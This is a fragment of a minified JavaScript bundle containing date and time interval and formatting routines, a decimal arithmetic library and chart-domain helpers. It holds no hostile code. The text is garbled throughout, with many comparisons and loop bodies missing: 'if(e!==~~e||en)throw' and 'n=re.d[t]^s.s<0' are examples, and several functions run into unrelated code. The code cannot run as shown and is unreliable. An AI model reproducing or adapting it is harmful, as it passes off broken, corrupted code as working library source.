p4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));p4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/v0)}const Qd=ba(0),Tu=ba(1),H7=ba(2),K7=ba(3),fs=ba(4),G7=ba(5),Y7=ba(6);Qd.range;Tu.range;H7.range;K7.range;fs.range;G7.range;Y7.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/v0)}const Jd=wa(0),Mu=wa(1),q7=wa(2),X7=wa(3),ms=wa(4),Z7=wa(5),Q7=wa(6);Jd.range;Mu.range;q7.range;X7.range;ms.range;Z7.range;Q7.range;const j0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());j0.range;const N0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());N0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function h4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,v0],[t,1,sb],[t,3,3*sb],[e,1,ym]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(mh(u/ym,d/ym,f));if(h===0)return Ou.every(Math.max(mh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(we=wm(Ks(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Mu.ceil(we):Mu(we),we=Zd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=bm(Ks(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=hl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?wm(Ks(B.y,0,1)).getUTCDay():bm(Ks(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,wm(B)):bm(B)}}function S(C,Y,ne,B){for(var le=0,we=Y.length,Ne=ne.length,Ae,$;le=Ne)return-1;if(Ae=Y.charCodeAt(le++),Ae===37){if(Ae=Y.charAt(le++),$=N[Ae in ob?Y.charAt(le++):Ae],!$||(B=$(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function O(C,Y,ne){var B=u.exec(Y.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,Y,ne){var B=h.exec(Y.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function T(C,Y,ne){var B=f.exec(Y.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,Y,ne){var B=v.exec(Y.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function D(C,Y,ne){var B=g.exec(Y.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function G(C,Y,ne){return S(C,t,Y,ne)}function R(C,Y,ne){return S(C,n,Y,ne)}function K(C,Y,ne){return S(C,r,Y,ne)}function _(C){return o[C.getDay()]}function M(C){return s[C.getDay()]}function F(C){return c[C.getMonth()]}function U(C){return l[C.getMonth()]}function V(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function ae(C){return o[C.getUTCDay()]}function ue(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function q(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var Y=k(C+="",w);return Y.toString=function(){return C},Y},parse:function(C){var Y=z(C+="",!1);return Y.toString=function(){return C},Y},utcFormat:function(C){var Y=k(C+="",j);return Y.toString=function(){return C},Y},utcParse:function(C){var Y=z(C+="",!0);return Y.toString=function(){return C},Y}}}var ob={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,iL=/^%/,aL=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function oL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function lL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function cL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function uL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function dL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function lb(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function cb(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function fL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function mL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function pL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function ub(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function hL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function db(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function xL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function vL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function gL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function yL(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function bL(e,t,n){var r=iL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function wL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function jL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function fb(e,t){return _e(e.getDate(),t,2)}function NL(e,t){return _e(e.getHours(),t,2)}function kL(e,t){return _e(e.getHours()%12||12,t,2)}function zL(e,t){return _e(1+hl.count(Rr(e),e),t,3)}function x4(e,t){return _e(e.getMilliseconds(),t,3)}function SL(e,t){return x4(e,t)+"000"}function CL(e,t){return _e(e.getMonth()+1,t,2)}function PL(e,t){return _e(e.getMinutes(),t,2)}function EL(e,t){return _e(e.getSeconds(),t,2)}function _L(e){var t=e.getDay();return t===0?7:t}function AL(e,t){return _e(Qd.count(Rr(e)-1,e),t,2)}function v4(e){var t=e.getDay();return t>=4||t===0?fs(e):fs.ceil(e)}function OL(e,t){return e=v4(e),_e(fs.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function TL(e){return e.getDay()}function ML(e,t){return _e(Tu.count(Rr(e)-1,e),t,2)}function LL(e,t){return _e(e.getFullYear()%100,t,2)}function IL(e,t){return e=v4(e),_e(e.getFullYear()%100,t,2)}function DL(e,t){return _e(e.getFullYear()%1e4,t,4)}function RL(e,t){var n=e.getDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getFullYear()%1e4,t,4)}function $L(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function mb(e,t){return _e(e.getUTCDate(),t,2)}function BL(e,t){return _e(e.getUTCHours(),t,2)}function FL(e,t){return _e(e.getUTCHours()%12||12,t,2)}function WL(e,t){return _e(1+Zd.count($r(e),e),t,3)}function g4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function UL(e,t){return g4(e,t)+"000"}function VL(e,t){return _e(e.getUTCMonth()+1,t,2)}function HL(e,t){return _e(e.getUTCMinutes(),t,2)}function KL(e,t){return _e(e.getUTCSeconds(),t,2)}function GL(e){var t=e.getUTCDay();return t===0?7:t}function YL(e,t){return _e(Jd.count($r(e)-1,e),t,2)}function y4(e){var t=e.getUTCDay();return t>=4||t===0?ms(e):ms.ceil(e)}function qL(e,t){return e=y4(e),_e(ms.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function XL(e){return e.getUTCDay()}function ZL(e,t){return _e(Mu.count($r(e)-1,e),t,2)}function QL(e,t){return _e(e.getUTCFullYear()%100,t,2)}function JL(e,t){return e=y4(e),_e(e.getUTCFullYear()%100,t,2)}function eI(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function tI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ms(e):ms.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function nI(){return"+0000"}function pb(){return"%"}function hb(e){return+e}function xb(e){return Math.floor(+e/1e3)}var ka,b4,w4;rI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function rI(e){return ka=rL(e),b4=ka.format,ka.parse,w4=ka.utcFormat,ka.utcParse,ka}function iI(e){return new Date(e)}function aI(e){return e instanceof Date?+e:+new Date(+e)}function k0(e,t,n,r,i,s,o,l,c,u){var d=u0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(k){return(c(k)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>G8(e,s/r))},n.copy=function(){return z4(t).domain(e)},Gr.apply(n,arguments)}function tf(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,nf=I([Yr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),E4=(e,t,n,r)=>r?nf(e):Yr(e),uI=(e,t,n)=>n?nf(e):Yr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function vb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function _4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function dI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return vb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&Ly.test(i)){var c=Ly.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Iy.test(s)){var d=Iy.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:vb(p,t,n)}}}var Ns=1e9,fI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},P0,Ge=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",C0=Tn+"Exponent out of range: ",ks=Math.floor,Ui=Math.pow,mI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,A4=9007199254740991,Lu=ks(A4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return mt(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ge=!1,t=Er(Zo(n,s),Zo(e,s),s),Ge=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?M4(t,e):O4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ge=!1,t=Er(n,e,0,1).times(e),Ge=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return T4(this)};pe.naturalLogarithm=pe.ln=function(){return Zo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?O4(t,e):M4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=mt(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=mt(l),Ge=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ks((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ge=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ge?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,Ns),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+mt(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,Ns),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,Ns),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+mt(i)+1,t),n=ha(r.abs(),!1,e+mt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),mt(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=A4){for(i=new c(ln),t=Math.ceil(r/We+4),Ge=!1;n%2&&(i=i.times(l),yb(i.d,t)),n=ks(n/2),n!==0;)l=l.times(l),yb(l.d,t);return Ge=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ge=!1,i=e.times(Zo(l,r+u)),Ge=!0,i=T4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=mt(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,Ns),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=mt(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,Ns),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=mt(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function O4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ge?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ge?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,k,z,S,O=r.constructor,A=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,z=P.length,N=T.length,h=new O(A),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,s==null?b=s=O.precision:o?b=s+(mt(r)-mt(i))+1:b=s,b<0)return new O(0);if(b=b/We+2|0,u=0,z==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),z=P.length,N=T.length),j=z,g=T.slice(0,z),y=g.length;y=wt/2&&++k;do d=0,l=t(P,g,z,y),l<0?(v=g[0],z!=y&&(v=v*wt+(g[1]||0)),d=v/k|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,z16)throw Error(C0+mt(e));if(!e.s)return new d(ln);for(Ge=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ge=!0,Ie(s,f)):s}s=o}}function mt(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function jm(e,t,n){if(t>e.LN10.sd())throw Ge=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Zo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ge=!1,u=y):u=t,h.eq(10))return t==null&&(Ge=!0),jm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=mt(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=mt(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=jm(g,u+2,y).times(s+""),h=Zo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ge=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(jm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ge=!0,Ie(l,y)):l;l=c,i+=2}}function gb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ks(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rLu||e.e<-Lu))throw Error(C0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=mt(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=ks(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ge&&(e.e>Lu||e.e<-Lu))throw Error(C0+mt(e));return e}function M4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ge?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function yb(e,t){if(e.length>t)return e.length=t,!0}function L4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return gb(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,mI.test(s))gb(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=L4,i.config=i.set=pI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var P0=L4(fI);ln=new P0(1);const Te=P0;function I4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function D4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var R4=e=>{var[t,n]=e,[r,i]=[t,n];return 